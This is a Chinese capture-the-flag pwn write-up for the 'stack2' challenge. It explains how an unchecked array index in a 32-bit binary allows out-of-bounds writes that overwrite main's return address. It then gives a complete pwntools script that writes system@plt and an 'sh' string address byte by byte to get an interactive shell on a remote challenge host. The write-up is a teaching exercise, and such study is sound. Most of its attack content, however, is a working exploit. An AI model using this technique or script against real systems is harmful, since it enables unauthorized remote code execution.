pwn做题笔记13-stack2(以字节形式构造栈帧内容)

0x1

检查安全机制,开启了canary、栈不可执行,没开ALSR:

 0x2

运行程序,有四个功能:

ida静态分析,没有溢出漏洞,但是在改变数字时没有对数组索引作校验,因此可以越界读写

 0x3

数组类型是char,因此每个单元1字节,p32程序栈帧大小4字节,因此每个栈帧对应4个数组单元:

栈结构如下:

 与返回地址偏移0x70+0x4字节

但是,实际上利用0x74作偏移时是不行的,原因在于main的最后修改了esp的值,因此返回地址应该是修改后的esp的下方4字节

 用gdb在ret下断点作动态分析:

可以看到lea指令实际效果是esp+10,因此,真正的返回地址偏移起始位置是0x84

0x4 

由于程序是小端序,因此栈低地址(靠近栈顶)存放低位地址,即对于hack_here首条指令地址0x0804859B:

数组下标0x84-0x87存放0x9B、0x85、0x04、0x08实现调用/bin/bash

0x5

但是!远程主机没有bash,因此这个hack_here是无效的

发现plt表有system条目:

 ROPgardget查找字符串sh:

因此,数组下标0x84-0x87存放0x50、0x84、0x04、0x08,即返回地址

system形参有两个,一般是0、内容,因此:

  • 数组下标0x88-0x8B跳过或写0
  • 数组下标0x8C-0x8F存放sh字符串地址,即0x87、0x89、0x04、0x08

 由于有那个+10,这里就不画栈结构了,代码如下:

from pwn import*

context(os='linux', arch='amd64',log_level = 'debug')

p=remote("61.147.171.105", 51684)
#p=process("./3f")
p.sendlineafter(" have:","1")
p.sendlineafter("numbers","1")
p.sendlineafter("5. exit","3")
#0x080485D0
p.sendlineafter("which number to change:",str(int(0x84)))
p.sendlineafter("new number:",str(0x50))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x85)))
p.sendlineafter("new number:",str(int(0x84)))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x86)))
p.sendlineafter("new number:",str(int(0x04)))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x87)))
p.sendlineafter("new number:",str(int(0x08)))


#0x08048ab3
p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8C)))
p.sendlineafter("new number:",str(int(0x87)))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8D)))
p.sendlineafter("new number:",str(int(0x89)))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8E)))
p.sendlineafter("new number:",str(int(0x04)))

p.sendlineafter("5. exit","3")
p.sendlineafter("which number to change:",str(int(0x8F)))
p.sendlineafter("new number:",str(int(0x08)))

p.sendlineafter("5. exit","5")
p.interactive()

运行结果:

 0x6

注意一下:

  • 这里利用的是main结束后的ret
  • 利用IO向内存直接写16进制数据要先把十六进制转int,再转str,即str(int(0x1)),否则是无效的
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值